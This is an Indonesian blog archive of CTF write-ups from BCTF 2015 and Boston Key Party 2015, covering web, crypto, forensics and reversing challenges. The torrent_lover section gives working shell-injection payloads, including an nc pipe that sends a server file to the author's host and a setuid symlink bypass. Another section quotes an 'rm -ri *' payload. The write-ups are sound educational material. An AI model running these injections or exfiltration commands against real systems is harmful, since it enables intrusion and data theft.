Monday, March 23, 2015

BCTF 2015: torrent_lover

Deskripsi soalnya singkat:

A dog loves torrent.


Contoh setelah kita masukkan input

Dan hasilnya



Jika kita masukkan URL yang diberi torrent, maka akan keluar info mengenai torrent tersebut. Tadinya saya pikir file torrentnya yang harus dimodifikasi supaya menghasilkan injection. Tapi Agan Oghie menyadari bahwa inputnya memiliki flaw command injection, dan outputnya akan muncul jika kita melisten di sebuah port. Dengan memasukkan URL:

http://yn.lc:1200/`id`.torrent

Maka hasilnya:



Dari user agentnya kira-kira ini terjadi karena perintah yang dipakai adalah system("wget $url"). 

Masalah pertama yang dihadapi adalah memasukkan spasi, karena ini merupakan shell injection. Saya memastikan ini dengan mencoba memprint environment

http://yn.lc:1200/${PWD}.torrent

Hasilnya muncul:

GET //var/www/work.torrent HTTP/1.1

Jadi ternyata direktori saat ini adalah work.

Karena ini adalah shell, trik berikutnya untuk memasukkan spasi adalah dengan ${IFS}, jadi kita bisa melakukan:

ls${IFS}-a

Tapi ada masalah lagi: jika output mengandung spasi, maka sisa output tidak akan muncul. Output dari 

http://yn.lc:1200/$(ls${IFS}-l).torrent

Hanya kata "total" saja

GET /total HTTP/1.1

Untuk bypassnya, kita gunakan base64, 


http://yn.lc:1200/$(ls${IFS}-l|base64).torrent


dan hasilnya:

GET /dG90YWwgMTU2CmRyd3hyd3hyd3ggMiByb290IHJvb3QgMTU5NzQ0IE1hciAyMyAxOToxNSB6aG9u HTTP/1.1

Hasilnya:

total 156
drwxrwxrwx 2 root root 159744 Mar 23 19:15 zhon

Terpotong juga karena base64 memiliki newline di output. Untungnya base64 punya opsi -w0

http://yn.lc:1200/$(ls${IFS}-l|base64${IFS}-w0).torrent

GET /dG90YWwgMTU2CmRyd3hyd3hyd3ggMiByb290IHJvb3QgMTU5NzQ0IE1hciAyMyAxOToxNSB6aG9uZ3ppCg==.torrent HTTP/1.1

Ternyata cuma ada 1 file bernama zhongzi

total 156
drwxrwxrwx 2 root root 159744 Mar 23 19:15 zhongzi

Setelah ke sana kemari, akhirnya ditemukan direktori /var/www/flag/

Isinya 2 file:

total 16
-r-------- 1 flag flag       57 Mar 21 12:14 flag
-rwsr-x--- 1 flag www-data 8871 Mar 21 12:13 use_me_to_read_flag

Ketika kita mencoba mengeksekusi file tersebut:

http://yn.lc:1200/$(/var/www/flag/use_me_to_read_flag${IFS}/var/www/flag/flag|base64).torrent

Hasilnya:

GET /WW91IG1heSBub3QgYWNjZXNzICcvdmFyL3d3dy9mbGFnL2ZsYWcnCg==.torrent HTTP/1.1


  • You may not access '/var/www/flag/flag'
Wah, kenapa ini?

Karena file use_me_to_read_flag bisa dibaca, maka saya base64 encode dan kirimkan ke host saya:


http://yn.lc:1200/$(base64${IFS}/var/www/flag/use_me_to_read_flag$|nc${IFS}yn.lc${IFS}1400).torrent

Ternyata file ini adalah file ELF, setelah didecompile, terlihat:


if ( strstr(argv[1], "flag") ) { printf("You may not access '%s'\n", argv[1]); exit(1); }

Sisanya gampang: karena hanya dicek namanya saja, maka kita bisa bypass dengan symbolic link. Pertama buat dulu linknya, kira-kira seperti ini:


ln -s /var/www/flag/flag /tmp/bb

Lalu baca flaghnya dengan

/var/www/flag/use_me_to_read_flag /tmp/bb

Dan hasilnya:

BCTF{Do_not_play_dota2_or_you_will_be_stupid_like_me233}

BCTF 2015: Experiment


Pertama kali membaca soal ini dan mencoba konek, sepertinya cukup mudah:

Hi, we have a short survey with 50 questions. You can get a flag as award once you finished it.





Seperti ini awalnya:


Karena berpikir bahwa kasusnya akan selalu seperti itu, langsung saya coding, memakai eval python. Tapi ada pertanyaan berbahaya:

Is __import__('os').popen('rm -ri *').read() an integer or not? Answer (yes/no):


Jika ini tanpa -i dan jika saya jalankan di server penting, sudah hilang data saya. Setelah beberapa pertanyaan, tiba-tiba semua berubah:

Time for calculating weird integer sequences.

Contoh-contoh sequence yang diminta:

Description: The prime numbers.
The sequence starts with: 2,3,5,7,11,13,17,19,23,29
(first term is for n = 1)
n = 524, Answer:

Description: Fibonacci numbers: F(n) = F(n-1) + F(n-2) with F(0) = 0 and F(1) = 1.
The sequence starts with: 0,1,1,2,3,5,8,13,21,34
(first term is for n = 0)
n = 689, Answer:

Ini masih relatif gampang, tapi setelah itu mulai random:

Description: Triangle T(n,k) = number of polyhedra (triconnected planar graphs) with n edges and k vertices (or k faces), where (n/3+2) <= k <= (2n/3). Note that there is no such k when n=7.

The sequence starts with: 1,1,1,1,2,2,2,2,8,2
(first term is for n = 6)
n = 26, Answer:

Description: Number of series-reduced planted trees with n leaves. Also the number of essentially series series-parallel networks with n edges; also the number of essentially parallel series-parallel networks with n edges.
The sequence starts with: 1,1,2,5,12,33,90,261,766,2312
(first term is for n = 1)
n = 656, Answer:

Dan seterusnya. Setelah dipelajari, sequencenya berasal dari oeis.org, dan kita bisa mendownload sequencenya dari deskripsinya (jika n kecil) atau dari file text b.

Tapi di 5 pertanyaan terakhir, semuanya berbeda, 5 pertanyaan random ini muncul, dan tidak bisa dijawab dengan OEIS:

1. Description: The Prime Numbers Revenge
The sequence starts with: 2,3,5,7,11,13,17
(first term is for n = 1)
n = 23333055, Answer:

2. Description: Catalan numbers: C(n) = binomial(2n,n)/(n+1) = (2n)!/(n!(n+1)!). Also called Segner numbers. The sequence starts with: 1,1,2,5,14,42,132
(first term is for n = 0)
n = 3921, Answer:

3.  Number of sets of rooted connected graphs where every block is a complete graph.

The sequence starts with: 1,1,2,5,14,42
(first term is for n = 0)
n = 839, Answer:

4. Description: Shapes of height-balanced AVL trees with n nodes. The sequence starts with: 1,1,2,1,4,6,4,17,32,44,60,70
(first term is for n = 1)
n = 1003, Answer:

5. Description: a(n) = number of partitions of n (the partition numbers) modulo 1000000007
The sequence starts with: 1,1,2,3,5,7,11,15,22,30,42,56,77
(first term is for n = 0)
n = 23371, Answer:

Untuk pertanyaan soal prime, saya memakai https://primes.utm.edu/nthprime/index.php

Untuk catalan numbers,  saya memakai wolfram di raspberry pi 2 (berdasarkan formula dari http://oeis.org/A000108)

Export["catalan.txt", Table[ CatalanNumber@ n, {n, 0, 4000}]]

Untuk Number of sets of rooted connected graphs where every block is a complete graph saya juga memakai wolfram dengan cara yang sama dengan potongan program OEIS.

Untuk soal No 4 Shapes of height-balanced AVL trees with n nodes, menghasilkan tabel dengan Wolfram terlalu lama, akhirnya saya buat versi python berdasarkan deskripsi algoritma dari link ini:


Dan untuk yang terakhir, saya jawab secara manual (copy paste soal ke worlfram), dan hasilnya:

BCTF{Y0u_h4ve_m0ar_7ermz_than_205}




Sunday, March 1, 2015

Boston Key Party 2015: Riverside

Soal ini ada dalam kategori forensik dengan nilai 200. Petunjuknya adalah sebagai berikut:
riverside
Kita diberi file PCAP. Biasanya PCAP yang diberikan adalah dalam kategori jaringan, tapi kali ini dalam kategori USB. Dengan membuka file PCAPnya menggunakan wireshark, didapatkan bahwa benda yang dimaksud adalah sebuah USB Mouse.
riverside2
Proses berikutnya adalah mencari tahu mengenai protol USB Mouse ini. Saya mendapatkan informasi dari dua URL ini:
http://wiki.osdev.org/Mouse_Input
http://www.usbmadesimple.co.uk/ums_5.htm
Setelah memahami protokolnya, saya mulai membuat decodernya dalam Python. Protokol mouse USB sangat mudah, byte pertama berhubungan dengan status tombol mana yang diklik, byte kedua dan ketiga menyatakan perpindahan koordinat relatif (x, y), dan byte terakhir menyatakan status scroll wheel (untungnya tidak dipakai di soal ini).

Untuk mengekstrak data dari PCAP saya menggunakan command line tshark:

tshark -r challenge.pcapng -Y "usb.transfer_type==0x01 && usb.endpoint_number.direction == 1 && usb.device_address==12 && usb.urb_type==URB_COMPLETE" -T fields -e usb.capdata > mousedata.txt

Saya memfilter hanya paket yang arahnya ke komputer, yang URB typenya URB_COMPLETE dan saya ambil datanya saja (4 byte untuk tiap transaksi).

Persoalannya adalah: apa yang dilakukan dengan USB mouse ini? apakah menggambar sesuatu? Ketika saya plot dengan program python saya, hasilnya seperti ini:
riverside3
Saya menggambar gerakan mouse, dengan alternasi warna setiap kali setelah klik. Saya juga menggambar di mana posisi klik, ternyata dari gambar di atas bisa dilihat bahwa USB mouse tersebut digunakan untuk mengetik keyboard virtual.

Lebih jelasnya seperti ini (saya remove gerakan mousenya karena tidak penting):
riverside4
Perhatikan bahwa itu berbentuk seperti keyboard. Dengan memperkirakan posisi keynya, didapatkan pesan:

the quick brown fox jumps ovver the lazy dog thekeyisiheardyoulikedsketchyetchingglastyear

Perhatikan bahwa ovver salah ketik (v terketik dua kali), ternyata bagian flagnya juga ada yang terketik dua kali (huruf g). Jadi flagnya adalah

iheardyoulikedsketchyetchinglastyear

(I heard you liked sketchy etching last year).

Source code solusinya:

Untuk Anda yang penasaran darimana saya tahu protokol USB, saya pernah mengimplementasikan remote control receiver USB berdasarkan library http://www.obdev.at/products/vusb/index.html

Boston Key Party 2015: Northeastern Univ


Soal berikutnya juga masih dalam kategori web
northeastern-univ

northeastern-univ2
Source code bisa dilihat dengan mengklik pada Level3

Perhatikan bahwa perbandingan memakai strcmp. Salah satu sifat strcmp adalah: jika dibery array, maka akan mengembalikan kosong, yang jika dibandingkan dengan == (dua tanda sama dengan) akan memaksa PHP melakukan type juggling, dan hasilnya sama dengan 0. Bypass ini cukup mudah, cara standar: dengan menggunakan variabel array password[]=abc.

northeastern-univ3

Boston Key Party 2015: Orient Heights

Soal ini serupa dengan soal kriptografi Wood Island, nilainya lebih tinggi (250), karena dianggap lebih sulit.
orient-heights
Soal ini sama-sama menerima sebuah message dan signaturenya, dan jika benar, maka kita akan diberi flagnya. Message dan signature tidak boleh sudah ada di daftar signature.
Perbedaan soal ini dengan soal sebelumnya adalah: data yang diterima oleh daemon adalah dalam bentuk ASN1 (soal Wood Island dalam bentuk JSON). ASN1 ini tidak memiliki coding yang unik, salah satu cara yang gampang adalah dengan mengencode ulang salah satu message yang sudah diterima dengan chunk size yang berbeda (saya memakai maxChunkSize=8).
Ada hal yang sedikit mengecoh: ada 3 message yang isinya sama (There is no need to be upset), tapi hanya sigs/sig343.txt yang bisa dipakai (ini dari hasil coba-coba).
Flagnya adalah: arent_you_glad_we_have_unique_encodings_now
Source code solusi;

Boston Key Party 2015: Haymarket

Soal ini bernilai 150 poin, kita diminta mencari flag dari gambar punched card.
Contoh punched card seperti ini:
haymarket2
Untungnya sudah pernah ada soal semacam ini di CTF Lain:
http://meta.security.stackexchange.com/questions/1332/sigint-ctf-2013-starts-friday-5-july-1600-gmt-ended-including-write-ups
Solusi python bisa dipakai, hal yang perlu diganti hanya posisi koordinat dan warna, menjadi:
color = img.getpixel((15 + 7 * j, 20 + 20 * i))
if color == (20,20,20, 255):
Di tabel EBCDIC, entry pertama diganti supaya terlihat spasinya:

EBCDIC = {
    ''     : ' ',

Hasilnya beberapar baris terakhir seperti ini:


SET CHANGEDOOR TO FIRSTCHOICE. IF CHANGEDOOR = GOODDOOR      DISPLAY 'MH: CONGRA
SETULATIONS! YOU FOUND A KEY.'    DISPLAY   'MH: THE KEY IS:'    DISPLAY 'KEY  (
SETALEXTREBEKISASOCIALENGINEER)' ELSE    DISPLAY 'MONTY HALL   OPENS THE DOOR. A


Saya cuma pernah baca-baca soal COBOL waktu SMU dulu (dari buku Pengenalan Komputer oleh Jogiyanto), tidak pernah memprogram beneran, tapi saya ingat bahwa kolom di awal COBOL bisa diignore, dan sepertinya semua SET di depan perlu diignore (karena kalau tidak, tulisannya adalah CONGRASETULATION, bukan CONGRATULATION), dan ternyata flagnya adalah:
ALEXTREBEKISASOCIALENGINEER

Boston Key Party 2015: Sullivan Square

 

Soal ini termasuk soal sulit dlam kategori reversing dengan nilai 350. Soalnya:

sullivan-square

ternyata kita diberi file dengan ekstensi rbc dan satu file dengan ekstensi dump. Setelah membaca-baca, ternyata rbc adalah file hasil kompilasi ruby dengan rubinius. Di soal disebutkan versinya adalah 2.5.2. Langkah pertama adalah menginstall dulu rubinius dengan mengcompile dari source codenya.

Pengetahuan Ruby saya sangat terbatas, jadi sebagian besar adalah dengan coba-coba saja plus logika sederhana.

Tapi sayangnya ketika dijalankan, hasilnya:

./run.sh
An exception occurred evaluating command line code:

/home/yohanes/trie/trie_harder.rbc (Rubinius::InvalidRBC)

Backtrace:

      Rubinius::CodeLoader#load_compiled_file at kernel/delta/code_loader.rb:227
               Rubinius::CodeLoader#load_file at kernel/delta/code_loader.rb:175

 

Saya tidak berhasil mencari tahu kenapa itu terjadi. Jadi terpaksa membaca sourcenya rubinius, ternyata masalahnya adalah kode versi dalam file RBC.

Di file yang didownload, headernya seperti ini:

!RBIX
10184465365783055646

Setelah saya compile program hello world, ternyata headernya:

!RBIX
17720602882280116705

Dengan mengganti 10184465365783055646 menjadi 17720602882280116705, hasilnya program bisa dijalankan:

sullivan-square2

Tampaknya tanpa source codenya, akan sulit menyelesaikan ini. Setelah mencoba-coba debuggernya rbx ( rbx -Xdebug -I.), ternyata ini pun sulit. Tapi saya mendapatkan beberapa info berharga. Saya tidak tahu di mana titik main eksekusi untuk breakpoint, jadi saya break saja di Object#puts

Ketika sampai main, saya lakukan “dis all”, dan hasilnya:

sullivan-square3

Seperti yang saya nyatakan sebelumnya: saya tidak terlalu mengerti Ruby, apalagi bytecodenya. Tapi karena sudah mengerti bytecode berbagai bahasa lain, saya bisa menebak bahwa kodenya kira-kira:

a = Marshal.load(File.read('trie.dump'))

Saya mencoba-coba mendump kelas trie, seperti ini:

Rubinius::CodeLoader.require_compiled 'trie'

a = Marshal.load(File.read('trie.dump'))

puts a.methods - Object.methods
puts "--"
puts a.private_methods  - Module.private_methods

puts a.instance_variables

Ternyata kelas Trie ini cuma punya instance variable @root yang tipenya Trie.Node, kelas Trie.Node ini memiliki 6 instance variable:

[:@end, :@left, :@value, :@right, :@char, :@mid]

Karena jarang memakai struktur data Trie, saya baca lagi di wikipedia:

https://en.wikipedia.org/wiki/Trie

Berdasarkan deskripsinya, left, right, mid,end sudah jelas. Lalu value dan char bisa kita print saja. Setelah saya dump Trie-nya, hasilnya adalah teks yang tidak terbaca di bagian char, dan teks yang terbaca di bagian value, misalnya:

- “not the flag but a true statement ;)”

- “wow not this either”

- “nope lots of fake flags”

- “stop being such a n00b and get the flag”

- “1 c4n r34d th15 ju57 l1k3 x86 0r 3n6L15h!”

Tapi itu semua bukan flag. Saya lihat ada kelas cipher, tapi bagaimana cara kerjanya? membaca bytecodenya bisa pusing, jadi saya akali, pertama saya coba instansiasi langsung:

Cipher.new

Tapi:

method 'initialize': given 0, expected 1 (ArgumentError)

Berarti kelas ini perlu sebuah parameter, tapi saya tidak tahu apa. Jadi saya buatkan sebuah kelas pengganti Cipher:

rbx compile cipher.rb –o cipher.rbc

./run.sh

Hasilnya:

 

So, you can tell me now... what's the flag? 1
["K", "D", "w", "X", "H", "3", "e", "1", "S", "B", "g", "a", "y", "v", "I", "6", "u", "W", "C", "0", "9", "b", "z", "T", "A", "q", "U", "4", "O", "o", "E", "N", "r", "n", "m", "d", "k", "x", "P", "t", "R", "s", "J", "L", "f", "h", "Z", "j", "Y", "5", "7", "l", "p", "c", "2", "8", "M", "V", "G", "i", " ", "Q", "F"]An exception occurred evaluating command line code:

undefined method `encrypt' on an instance of Cipher. (NoMethodError)

Ternyata Cipher perlu dipanggil menggunakan tabel sebagai inputnya. Setelah dicoba, ada method decrypt, jadi ini saya pakai untuk mendump isi Trie.

Hasil dump yang menarik adalah:

N = WyXcXAFAp9F0Wc8FDHcveFypMWF288i
rmd1dy y0u tr13 be1ng m04r 2337

Saya tidak sempat mempelajari kenapa ada huruf “rm” dan “y” (stelah d1d), sepertinya itu adalah marker (mungkin “right”,”middle”) dan indikator (“yes”). Tapi dari tebakan saya, flagnya adalah: d1d y0u tr13 be1ng m04r 2337

Dan ternyata setelah dicoba di command line benar.

Source solusi (sorry jelek banget kodenya, ga pernah coding ruby in real life):

Boston Key Party 2015: Symphony


Ini adalah salah satu soal mudah yang berhubungan dengan PHP (25 poin):
symphony
Kali ini tidak ada pertanyaan user, hanya password:
symphony2
Source codenya adalah:

Mudah sekali untuk membuat bilangan yang lebih besar dari 999 yang kurang dari 4 karakter, misalnya 9e6. Informasi ini bisa didapat dari membaca informasi tentang konversi string ke bilangan di PHP:
symphony3

Boston Key Party 2015: Longwood Medical


Berikut ini soalnya:
longwood-medical

Seperti soal sebelumnya ada halaman login:
longwood-medical2
Dan jika diklik keluar source codenya.

Perhatikan bahwa ctype_alnum tidak bisa dibypass, tapi query tidak menggunakan quote. Jadi cukup login dengan user login dan password password.
longwood-medical3

Boston Key Party 2015: Wellington


Ini adalah soal reversing binary prolog dengan nilai 250 point.
wellington
Saya mengetahui bahwa binary ini adalah binary prolog dari:
- Soalnya yang menyatakan flagnya berakhiran dengan dot
- Binary mengandung string /usr/lib/gprolog-iso/bin
- Hasil disassembly ribet
Dulu saya adalah yang menyarankan dan melaksanakan supaya kelas prolog tidak memakai Turbo Prolog tapi lebih baik memakai GNU Prolog, dan sebagai admin, saya sempat mengeksplorasi GNU Prolog.
Soal ini mudah sekali diselesaikan dengan pemahaman prolog plus menggunakan ltrace. Dalam prolog, rule dan atom dibandingkan menggunakan strcmp (dan strlen untuk mengecek panjangnya).
ltrace –s 35 ./troll_log.4643d195d55746aa180abf7144909677 2>y
Kita memasukkan password “_.” yang akan match dengan rules/fact manapun (kita akan mendapat pesan WiN). Setelah itu kita bisa lihat di file lognya, misalnya baris-baris seperti ini:
strcmp("LOSE", "i_should_have_used_askhell_instead")                                        = -29
Dan itulah flagnya: i_should_have_used_askhell_instead. (seperti petunjuk, flag berakhiran dengan titik).

Boston Key Party 2015: Wood Island


Soal ini nilainya 150 dalam kategori Crypto, soalnya seperti ini:
wood-island
Kita diberikan source code dalam Python. Intinya adalan: program ini menerima signature dan message, dan akan membalas dengan flag jika signature dan message sudah benar. Kita juga diberi contoh signature dan message yang sudah pernah dikirimkan ke server ini. Server ini tidak akan menerima jika message/signature adalah duplikat dari yang di file sigs.txt.

Bagian terpenting adalah baris-baris berikut:

        sig = json.loads(sig)

Kemudian berikut ini pengecekan yang dilakukan:

if "r" not in sig or "s" not in sig or "m" not in sig:
    self.request.close()
    return
r = sig["r"]
s = sig["s"]
m = sig["m"]
if not elgamal_verify(r, s, m):
    self.request.close()
elif is_duplicate(sig):
    self.request.close()
elif m != "There is no need to be upset":
    self.request.close()
else:
    self.request.sendall(FLAG)
    self.request.close()

Dan caranya mengecek duplikat adalah dengan:

def is_duplicate(s):
    return s in DUPLICATES

Perhatikan bahwa karena formatnya JSON kita bisa menambahkan field lain, dan dengan menambahkan field lain maka apa yang kita kirimkan tidak akan dianggap duplikat. Untuk mencegah orang melakukan brute force, maka server meminta "proof of work" yang meminta kita mencari string 20 karakter (X) dengan prefix 12 karakter yang diberikan, sedemikian sehingga sha1(X) berakhiran dengan 3 heksadesimal ff. Saya memakai cara sederhana brute force dengan menambahkan angka (kadang ini tidak berhasil, jadi perlu diulangi, kadang berhasil dalam sedetik, karena hanya butuh masuk sekali, maka tidak saya optimasi). Berikut ini solusinya.


Ketika dijalankan:


Boston Key Party 2015: Prudential

 

Ini masuk dalam kategori soal sederhana:

prudential

Dengan Login/Password standar:

prudential2

Source code yang diberikan:

 

Solusinya menggunakan variabel array lagi. Ketika dibandingkan secara string name[]=a dan password[]=b akan dianggap tidak sama. Jika dilakukan SHA, hasilnya sama-sama kosong.

prudential3

Boston Key Party 2015: Park Street

 

Soal ini nilainya hanya 10 point, jadi sangat mudah:

park-street

Dengan search google:

park-street2

Jadi flagnya adalah: OFPFC_ADD

Boston Key Party 2015: Museum Of Fine Arts


Berikut ini soalnya:
museum-of-fine-arts
Kali ini formnya bukan login/password, tapi angka dengan input:
$ php cracker.php 9377306 8039203 8723770
2251254
museum-of-fine-arts2


Seed yang dipakai oleh kode tersebut kemungkinannya sangat kecil (kurang dari 20 rb kemungkinan), jadi mudah dibrute force.

Dari mana saya tahu ini? Di bagian seed ada mod (operator %) rand(1, 10000) plus rand(1,10000). Andaikan rand pertama dan kedua hasilnya sama-sama 10000, maka nilainya max adalah 20000, andaikan keduanya hasilnya 1 dan hasil XOR-nya 0, maka minimum seednya adalah 1.



Cara memakainya:
$ php cracker.php 9377306 8039203 8723770
2251254
Jika kita bisa menebak angka berikutnya maka hasilnya adalah flagnya:
museum-of-fine-arts4

Boston Key Party 2015: Brigham Circle


Deskripsi soalnya:
brigham-circle
Setelah diklik:
brigham-circle2

Ketika level 6 diklik, muncul source codenya:
Cara bypass ereg cukup mudah, tambahkan saja “% 00”, jadi querynya ?password=a% 00--
(harusnya tanpa spasi, entah kenapa kalau tanpa spasi, terremove oleh blogger, padahal %01 %02 gpp ) Dan hasilnya
brigham-circle3

Masalah ereg dengan ini adalah bug yang dianggap bukan bug.